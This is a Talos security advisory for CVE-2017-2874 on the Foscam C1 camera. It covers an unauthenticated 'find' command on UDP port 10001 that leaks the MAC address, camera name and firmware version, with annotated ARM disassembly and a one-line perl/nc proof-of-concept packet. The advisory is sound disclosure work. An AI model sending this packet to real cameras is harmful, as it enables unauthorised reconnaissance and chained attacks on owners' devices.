Talos Vulnerability Report

TALOS-2017-0381

Foscam IP Video Camera devMng Multi-Camera Port 10000 Command 0x0000 Information Disclosure Vulnerability

November 13, 2017
CVE Number

CVE-2017-2874

Summary

An information disclosure vulnerability exists in the Multi-Camera interface used by the Foscam C1 Indoor HD Camera running application firmware 2.52.2.43. A specially crafted request on port 10001 can allow for a user to retrieve sensitive information without authentication.

Tested Versions

Foscam Indoor IP Camera C1 Series
System Firmware Version: 1.9.3.18
Application Firmware Version: 2.52.2.43
Plug-In Version: 3.3.0.26

Product URLs

http://www.foscam.com/downloads/index.html

CVSSv3 Score

7.5 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

CWE

CWE-200: Information Exposure

Details

Foscam produces a series of IP-capable surveillance devices, network video recorders, and baby monitors for the end-user. Foscam produces a range of cameras for both indoor and outdoor use and with wireless capability. One of these models is the C1 series which contains a web-based user interface for management and is based on the arm architecture. Foscam is considered one of the most common security cameras out on the current market.

The device has a Multi-Camera feature that allows cameras to communicate with each other, in order to display multiple streams on a unique web interface. Communication between cameras happen on UDP ports 10000 and 10001 and is handled by the binary "devMng".

sub_29A98 is the threaded function that manages incoming messages on both ports using select [1]. If a message is sent to port 10001, the function multicamera_p10001 is called [2].

```
.text:00029A98             sub_29A98
.text:00029A98
.text:00029A98 F0 45 2D E9      STMFD   SP!, {R4-R8,R10,LR}
.text:00029A9C 10 30 A0 E3      MOV     R3, #0x10
.text:00029AA0 71 DF 4D E2      SUB     SP, SP, #0x1C4
.text:00029AA4 BC 31 8D E5      STR     R3, [SP,#0x1E0+var_24]
.text:00029AA8 5C 33 9F E5      LDR     R3, =0x3DE
.text:00029AAC 00 30 8D E5      STR     R3, [SP,#0x1E0+timeout]
.text:00029AB0 58 33 9F E5      LDR     R3, =aStartListenDis       ; "Start listen discovery port"
.text:00029AB4 00 40 A0 E1      MOV     R4, R0
.text:00029AB8 04 30 8D E5      STR     R3, [SP,#0x1E0+addr_len]
.text:00029ABC 06 00 A0 E3      MOV     R0, #6
.text:00029AC0 4C 33 9F E5      LDR     R3, =aIpcamdiscovery       ; "IPCamDiscovery/CIPCamDiscovery.cpp"
.text:00029AC4 03 10 A0 E3      MOV     R1, #3
.text:00029AC8 48 23 9F E5      LDR     R2, =(aMayNotBeAvaila+0x19)
.text:00029ACC 06 A4 FF EB      BL      _Z8wirteLogiiPKcS0_iS0_z
...
.text:00029BC0 01 0B A0 E3      MOV     R0, #0x400
.text:00029BC4 05 20 A0 E1      MOV     R2, R5
.text:00029BC8 05 30 A0 E1      MOV     R3, R5
.text:00029BCC B0 51 8D E5      STR     R5, [SP,#0x1E0+var_30]
.text:00029BD0 C6 A2 FF EB      BL      select                     ; [1]
.text:00029BD4 05 00 50 E1      CMP     R0, R5
.text:00029BD8 78 00 00 0A      BEQ     loc_29DC0
.text:00029BDC 0B 00 00 AA      BGE     loc_29C10
...
.text:00029C10             loc_29C10
...
.text:00029C30 28 00 00 0A      BEQ     loc_29CD8
...
.text:00029C50 04 30 8D E5      STR     R3, [SP,#0x1E0+addr_len]
.text:00029C54 0C 00 94 E5      LDR     R0, [R4,#0xC]
.text:00029C58 08 10 A0 E1      MOV     R1, R8                     ; buffer
.text:00029C5C 01 2C A0 E3      MOV     R2, #0x100
.text:00029C60 05 30 A0 E1      MOV     R3, R5
.text:00029C64 00 70 8D E5      STR     R7, [SP,#0x1E0+timeout]
.text:00029C68 20 A4 FF EB      BL      recvfrom
...
.text:00029CB8 E5 FE FF EB      BL      multicamera_p10000
...
.text:00029CD8             loc_29CD8
...
.text:00029D18 04 30 8D E5      STR     R3, [SP,#0x1E0+addr_len]
.text:00029D1C 54 00 94 E5      LDR     R0, [R4,#0x54]
.text:00029D20 08 10 A0 E1      MOV     R1, R8                     ; buffer
.text:00029D24 01 2C A0 E3      MOV     R2, #0x100
.text:00029D28 07 30 A0 E1      MOV     R3, R7
.text:00029D2C 00 50 8D E5      STR     R5, [SP,#0x1E0+timeout]
.text:00029D30 EE A3 FF EB      BL      recvfrom
...
.text:00029D80 35 FE FF EB      BL      multicamera_p10001         ; [2]
```

multicamera_p10001 receives the "CIPCamDiscovery" object [3], the message [4] and its length [5] as parameters. The message header "MO_I" is checked [6] and the 16bit command identifier is extracted [7]. If the "find" command ("0x0000") is used [8], the 32bit payload size is extracted and verified against the length of the whole message minus 0x17 (the header length) [9]. If all checks are passed the function sub_28348 is called [10].

```
.text:0002965C             multicamera_p10001
.text:0002965C
.text:0002965C F0 45 2D E9      STMFD   SP!, {R4-R8,R10,LR}
.text:00029660 00 A0 53 E2      SUBS    R10, R3, #0
.text:00029664 4C D0 4D E2      SUB     SP, SP, #0x4C
.text:00029668 00 60 A0 E1      MOV     R6, R0                   ; [3]
.text:0002966C 01 40 A0 E1      MOV     R4, R1                   ; [4]
.text:00029670 02 50 A0 E1      MOV     R5, R2                   ; [5]
.text:00029674 68 70 9D E5      LDR     R7, [SP,#0x68+arg_0]
.text:00029678 60 00 00 0A      BEQ     loc_29800
.text:0002967C 00 00 51 E3      CMP     R1, #0
.text:00029680 00 00 52 13      CMPNE   R2, #0
.text:00029684 00 30 A0 13      MOVNE   R3, #0
.text:00029688 01 30 A0 03      MOVEQ   R3, #1
.text:0002968C 09 00 00 1A      BNE     loc_296B8
...
.text:000296B8             loc_296B8
.text:000296B8 40 80 8D E2      ADD     R8, SP, #0x68+dest
...
.text:000296D0 08 00 A0 E1      MOV     R0, R8
.text:000296D4 64 11 9F E5      LDR     R1, =aMo_i               ; "MO_I"
.text:000296D8 E1 A5 FF EB      BL      strcmp                   ; [6]
.text:000296DC 00 80 50 E2      SUBS    R8, R0, #0
.text:000296E0 46 00 00 1A      BNE     loc_29800
.text:000296E4 04 30 D4 E5      LDRB    R3, [R4,#4]
.text:000296E8 05 20 D4 E5      LDRB    R2, [R4,#5]
.text:000296EC 02 34 83 E1      ORR     R3, R3, R2,LSL#8
.text:000296F0 03 38 A0 E1      MOV     R3, R3,LSL#16
.text:000296F4 43 38 B0 E1      MOVS    R3, R3,ASR#16            ; [7]
.text:000296F8 02 00 00 0A      BEQ     loc_29708                ; [8]
.text:000296FC 64 00 53 E3      CMP     R3, #0x64
.text:00029700 47 00 00 1A      BNE     loc_29824
.text:00029704 28 00 00 EA      B       loc_297AC                ; cmd 0x0064
.text:00029708
.text:00029708             loc_29708                             ; cmd 0x0000
.text:00029708 10 10 D4 E5      LDRB    R1, [R4,#0x10]
.text:0002970C 0F 20 D4 E5      LDRB    R2, [R4,#0xF]
.text:00029710 01 24 82 E1      ORR     R2, R2, R1,LSL#8
.text:00029714 11 10 D4 E5      LDRB    R1, [R4,#0x11]
.text:00029718 01 28 82 E1      ORR     R2, R2, R1,LSL#16
.text:0002971C 12 10 D4 E5      LDRB    R1, [R4,#0x12]
.text:00029720 01 2C 82 E1      ORR     R2, R2, R1,LSL#24
.text:00029724 17 10 82 E2      ADD     R1, R2, #0x17
.text:00029728 01 00 55 E1      CMP     R5, R1                   ; [9]
.text:0002972C 05 00 00 0A      BEQ     loc_29748
...
.text:00029748             loc_29748
...
.text:000297A4 E7 FA FF EB      BL      sub_28348                ; [10]
```

sub_28348 retrieves information from the camera like the MAC address [11], the camera name [12], firmware version [13] and put them in a buffer that is sent back as an answer [14].

```
.text:00028348             sub_28348
.text:00028348
.text:00028348 F0 4F 2D E9      STMFD   SP!, {R4-R11,LR}
...
.text:000284A8 D4 04 9F E5      LDR     R0, =unk_875B0
.text:000284AC 1E 1E 8D E2      ADD     R1, SP, #0x2D8+src
.text:000284B0 D6 AA 00 EB      BL      read_mac                       ; [11]
.text:000284B4 7B 1F 8D E2      ADD     R1, SP, #0x2D8+var_EC
.text:000284B8 C8 04 9F E5      LDR     R0, =unk_8F6F8
.text:000284BC 01 10 81 E2      ADD     R1, R1, #1
.text:000284C0 15 11 00 EB      BL      read_camera_name               ; [12]
.text:000284C4 85 1F 8D E2      ADD     R1, SP, #0x2D8+var_C4
.text:000284C8 BC 04 9F E5      LDR     R0, =unk_8F718
.text:000284CC 02 10 81 E2      ADD     R1, R1, #2
.text:000284D0 C2 E2 FF EB      BL      sub_20FE0
.text:000284D4 86 1F 8D E2      ADD     R1, SP, #0x2D8+var_C0
.text:000284D8 B0 04 9F E5      LDR     R0, =gProduct
.text:000284DC 02 10 81 E2      ADD     R1, R1, #2
.text:000284E0 E6 AA FF EB      BL      _ZN8CProduct9getAppVerEPc      ; [13]
.text:000284E4 AB 8F 8D E2      ADD     R8, SP, #0x2D8+buf
.text:000284E8 08 20 A0 E1      MOV     R2, R8
.text:000284EC 70 12 9D E5      LDR     R1, [SP,#0x2D8+s2]
.text:000284F0 02 00 A0 E3      MOV     R0, #2
.text:000284F4 23 A8 FF EB      BL      inet_pton
...
.text:00028698 57 1F 8D E2      ADD     R1, SP, #0x2D8+s               ; buffer
.text:0002869C 54 00 94 E5      LDR     R0, [R4,#0x54]
.text:000286A0 81 20 A0 E3      MOV     R2, #0x81
.text:000286A4 00 30 A0 E3      MOV     R3, #0
.text:000286A8 DA A7 FF EB      BL      sendto                         ; [14]
```

As demonstrated in TALOS-2017-0382 and TALOS-2017-0383, the MAC address is needed for sending commands on port 10000 and the existence of this bug enables remote exploitation outside the local network.

Exploit Proof-of-Concept

This vulnerability is reachable by the "find" command (0x0000) and doesn't need authentication. The following proof of concept retrieves the MAC address, camera name and firmware version.

```
$ perl -e 'print "MO_I","\x00\x00","K"x9,"\x00\x00\x00\x00","A"x4' | nc -u $IP 10001 | hexdump -C
```

Timeline

2017-07-13 - Vendor Disclosure
2017-11-13 - Public Release

Credit

Discovered by Claudio Bozzato of Cisco Talos.